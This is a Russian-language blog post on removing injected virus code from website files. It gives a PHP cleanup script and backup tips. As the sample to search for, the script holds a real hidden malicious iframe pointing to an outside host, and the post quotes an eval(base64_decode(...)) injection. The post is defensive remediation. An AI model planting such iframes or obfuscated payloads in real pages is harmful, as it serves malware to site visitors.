Если вдруг в файлы на сайте вирус сделал примерно такую запись:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtP и так далее"));
нужно пройтись по всем файлам на сайте и удалить добавленный код.
Пройтись по файлам можно с помощью php скрипта.
Например, такого скрипта с сайта www.habrahabr.kz/blog/768.html
Пришлось немного поменять скрипт, потому что он удалял несколько больше чем вставленный вирусом код.
Получился вот такой вариант скрипта для удаления вируса в файлах на сайте:
<?php
//Virus removal script by OSA
//v1.1 31.10.2010
//jdevelop.info 29.01.2012
$virus_text = '<iframe name="SagUTeXYne" src="http://skysell.ru/kx/index.php?out=1331605369" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>';
$skip_files = array ('delvir.php');
$del = false;
$dir = getcwd().'/';
$num_infected = 0;
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
if ($dh = opendir($dir)) {
while (($file = readdir($dh))!== false) {
if ($file === '.' || $file === '..') {
continue;
}
if (is_file($dir . $file)) {
if (is_array($types)) {
if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
continue;
}
}
$callback($baseDir, $file);
}elseif($recursive && is_dir($dir . $file)) {
dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
}
}
closedir($dh);
}
}
function del_virus ($fdir, $ffile)
{
$flag = false;
$filename = $fdir.$ffile;
echo $filename;
if (!in_array($ffile, $GLOBALS['skip_files'])){
$handle = fopen($filename, "r");
$fsize = filesize($filename);
if (!$fsize){
$contents = '';
}else{
$contents = fread($handle, $fsize);
}
fclose($handle);
if (strpos($contents, $GLOBALS['virus_text']) !== false) {
if ( $GLOBALS['del'] ) {
$contents = str_replace($GLOBALS['virus_text'], '', $contents);
$handle = fopen($filename, "wb");
fwrite($handle,$contents);
fclose($handle);
echo " - deleted";
}
echo " - infected";
$GLOBALS['num_infected']++;
}
}else{
echo " - skipped";
}
echo "<br/>";
};
dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );
echo "Num infected = $num_infected <br/>";
?>
Как удалять код вируса..
Нужно создать файл delvir.php, скопировать туда код скрипта, переменной $virus_text присвоить код вируса, для удаления $del = true; Потом скопировать этот файл в корень сайта и запустить.
Предварительно нужно сделать архив всех файлов! Чтобы вернуть в случае некорректной замены кода вируса.
Нужно еще проверить права на запись в файл, иначе если доступ только на чтение вирус не будет удален. Поменять доступ можно с помощью фтп клиента.
Пришел в голову еще один вариант удаления вируса)
Скопировать файлы на локальный компьютер, и запустить поиск и замену по всем файлам. Например, с помощью текстового редактора notepad++
Notepad++ работает и по ftp протоколу, но я лично поиск и замену по файлам при подключении по ftp протоколу не пробовал.
Еще один способ очистки сайта от вирусов >> Полная очистка сайта от вирусов